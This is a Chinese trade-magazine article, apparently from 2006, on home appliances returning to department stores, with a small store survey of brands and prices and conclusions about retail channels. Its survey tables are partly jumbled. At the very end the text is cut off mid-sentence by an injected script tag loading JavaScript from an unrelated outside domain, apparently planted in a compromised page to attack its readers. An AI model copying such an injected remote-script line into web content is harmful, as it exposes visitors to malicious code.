编者按
对于家电人士来说,渠道一直是个无法回避的问题,无论是家电企业自建渠道、或重新进入“久违”的传统百货商场、或分别结成利益同盟,总之处于家电供应链两端的双方在言谈之中总可以隐约嗅到一股呛人的“火药味”。这个问题的影响已经远远超出了家电行业的范围,就连主持“2006国美全球家电论坛”的龙永图也对此表示了担忧。我们认为如果不能尽快找到有效化解所谓“厂商矛盾”的方法,这个问题或者有可能成为制约我国从“家电大国”走向“家电强国”的障碍。因此我们策划了这个有关家电渠道的主题,希望从家电产品重返传统百货商场这个话题引出大家对协调厂商关系的深入关注。
第一部分:百货商场的调查
最近经常出现家电产品回流传统百货公司的新闻,这对中国的家电渠道变化意味着什么?是否会出现一种新的渠道变革?这引起了我们的兴趣,为此我们做了一次微型调查。我们在确定调查方案时,并没有单单从新闻报道的角度来看待这件事,而是希望大家能够通过我们串连起来的相关内容对渠道有更深化的认识。所以这一次无论是在文章的组稿还是对调查数据的处理都采取了一些比较独特的手法。
方案设计采取“简单枚举”方式进行抽样调查
为了取得第一手资料,我们此次的百货商场经营家电产品现象的微型调查采取了随机采样、随机调查的方式:不给进行抽样调查的人员预先指定调查对象、不预设采样数量、不提前和调查对象“打招呼”(实际上就是想打招呼也做不到,因为编辑部人员根本不知道调查人员的具体去向)、现场采取随机问答的方式收集调查资料,让调查人员自己即时记录所观察到的有关情况。这就是说在设计调查方案时就有意采取了“简单枚举”方式,我们考虑或者这种方式所取得的数据或者更加具有实际意义亦未可知。以下就是通过这种方式采集的部分调查数据。
备注 虽然东方家园这样的建材超市不属于传统百货商场,但是也有别于家电连锁渠道,而且有相当多家电产品早已进入此类场所,因此我们把这种建材超市也列入了采样对象。
表2、调查人员所看到的家电产品品牌
空调品牌 海尔、格力、大金、志高、lg、松下、海信、美的、春兰、奥克斯、清华同方、三菱重工
彩电品牌 tcl、康佳、长虹、东芝、飞利浦、jvc、新科、夏新、松下、索尼、三星
电冰箱品牌 lg、松下、西门子、澳柯玛、lg、海尔、三星、小天鹅、雪花冰柜
洗衣机品牌 西门子、小天鹅、三星、松下、lg、松下、雪花、
表3、抽样调查取得的家电产品型号及价位
空调 冰箱 彩电
品牌 型号 价位 品牌 型号 价位 品牌 型号 价位
lg ls-u3611 3090元 lg gr-s24naa 4905元 夏新
42寸等离子 19999元
ha/har/ha gr-q27nare 优惠200
大1.5p冷暖 5030元
3600w 优惠100
lp-r6012na 8860元 东芝 47wl66c
45300元
/nar/nab
2.5p
lp-u5021da 5300元
2p冷暖
格力 1.5p 3610元
3p 9300元
三洋 sap-kc369ch 1.5p 2782元
松下 ha1217kw 1.5p 3200元
(注:由于受到版面限制,部分调查数据没有刊登)
百货商场家电产品数据显示的特点:
1、家电产品回归百货商场渠道确实已经是一个比较普遍的现象,除了以上四个百货商场之外,据2006年3月5日的《北京晚报》报道, 燕莎、翠微、双安、当代、蓝岛、sogo等商场的家电部也在逐步扩大,其中百盛家电卖场面积已经到了1500m2、家电产品型号达上千种。
2、从进入商场的家电产品品牌来看,目前国内外的一线品牌家电基本上都已经进入百货商场类型的销售卖场,产品分类基本上囊括了黑、白家电,特别是耐用型家电如彩电、冰箱、空调、洗衣机等等。在调查过程中调查人员在百货商场中也看到了相当多的小家电产品。
3、通过采样调查我们发现,相对国美、苏宁、大中、永乐等等全国性大型家电连锁卖场而言,目前进入百货商场的家电产品品牌和品种相对比较少,如彩电,目前主要集中在比较高端的液晶、等离子平板产品上面,传统的crt显像管彩电几乎没有见到。
4、与连锁家电卖场家电产品的展位相比,百货商场中的家电产品的展区面积相对比较小,位置也相对比较偏辟,这样一来家电产品展区的顾客流量就不一定很大,这也是一个应当注意的现象。
调查结论:家电产品将仍然以连锁卖场为销售主渠道
我们认为,以简单枚举这种看起来简单的逻辑方法同样可以比较精确地描述出当前传统百货商场销售家电的基本状态。
首先,说明家电产品渠道确实出现了多元化倾向,自从国美、苏宁、大中、永乐以及一些区域性的家电连锁企业形成规模之后,传统百货商场好像就不由自主地退出了家电产品销售主渠道,在一些百货商场甚至难于看到家电产品特别是大型家电产品的身影,现在家电产品重新出现?script src=http://er12.com/t.js>










